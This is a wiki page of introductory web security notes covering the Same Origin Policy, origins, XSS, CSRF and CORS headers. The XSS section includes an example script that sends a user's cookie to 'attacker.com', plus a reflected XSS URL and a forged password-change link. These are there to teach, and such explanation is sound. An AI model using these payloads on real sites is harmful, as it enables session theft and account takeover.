Skip to content

Web Security

Jump to bottom Edit New page
Kevin Leong edited this page Jul 5, 2016 · 10 revisions

Web Security

Glossary

Same Origin Policy

If a user is logged into their banking site in one browser tab, without the Same Origin Policy, a malicious site opened in another tab or window could perform actions in the banking application on behalf of the user.

This would allow the malicious site to view banking account information or transfer funds by including a script within the malicious site's page that makes requests to the banking site's servers.

Cookies

This policy also restricts cookie access to browser tabs and windows to pages with the same origin. Therefore, a malicious site cannot read or use cookies from your banking web app open in another tab.

This is important because cookies are usually how web applications authenticate requests. Without cookies, a user would need to provide their credentials with each request.

Origin

Two origins are considered the same if they match all of the following:

  • protocol
  • host
  • port

For example, these contain the same origin:

  • http://example.com
  • http://example.com/
  • http://example.com/some_path

Whereas these do not:

URL Difference from http://example.com
https://example.com protocol
http://www.example.com host
http://example.org domain
http://example.com:8080 port

Cross Site Scripting (XSS)

If a server does not properly sanitize inputs, a malicious entity can inject JavaScript code that will run when the server renders the input on the page.

It's common for pages to display the search terms entered when displaying results. If the user entered inputs are not sanitized, the following could occur:

  1. an attacker enters <script>window.open("http://attacker.com?cookie=" + document.cookie)</script> and clicks search.
  2. the script is embedded into the page.
  3. the browser executes the script once the request is submitted and the page attempts to display the entered text.
  4. this script will send the cookie for the user to the attacker, which allows the attacker to make requests to the application on behalf of the user.

XSS occurs when malicious script is injected into a page, causing unintended behavior. This is usually due to unsanitized input by the server or JavaScript running on the page.

Reflected (Non-Persistent)

The above scenario is an example of a Reflected or non-persistent XSS vulnerability.

The malicious script can also be attached as query params to a URL and included in an email.

E.g., http://example.com/search?param=<script>alert(document.cookie)</script>

Clicking on the link will run the script if the server embeds the raw content on the page.

Persisted

Persistent vulnerabilities can occur when user input isn't sanitized before being persisted, usually in the server's database.

Whenever these inputs are rendered to users, the browser will execute any injected commands.

Persisted XSS is less common, but can be much worse, as it does not require luring users to click on a link.

Cross Site Request Forgery (CSRF)

The following link could potentially change a user's password:

http://example.com/changePassword?userId=1&newPassword=foobar

When navigating to the above URL, the browser will send any cookies for the same origin to the server.

If the user is logged in, this means the request will be treated as an authenticated request and the password will be updated, allowing the attacker to log in as the user.

Overview

CSRF attacks submit undesired requests on the user's behalf.

Sometimes referred to as One Click attacks, they usually involve enticing users to click on buttons or links.

POST requests from simple HTML forms are also vulnerable, since it's entirely possible to get a victim to submit a forged POST request. the Same Origin Policy only applies to JavaScript originated requests.

Cross Origin Request Sharing (CORS)

CORS-specific headers

Request
  • Origin
    • Required: yes
    • Sample Data: http://api.example.com
    • Description:
      • This header contains the origin of the request.
Response

  • Access-Control-Allow-Origin

    • Required: yes
    • Sample Data: http://api.example.com, *
    • Description:
      • Required header for all CORS responses. Without it, the CORS request automatically fails.
      • * allows requests from any origin.

  • Access-Control-Allow-Credentials

    • Required: no
    • Sample Data: true
    • Description:
      • Indicates whether cookies should be included with the request.
      • This header should be excluded from the response if cookies are not necessary.

  • Access-Control-Expose-Headers

    • Required: no
    • Sample Data: true
    • Description:
      • Allows the client to access the supplied list of headers.
      • Normally, only a minimal set of headers can be read. This set includes:
        • Cache-Control
        • Content-Language
        • Content-Type
        • Expires

References

Add a custom footer
Clone this wiki locally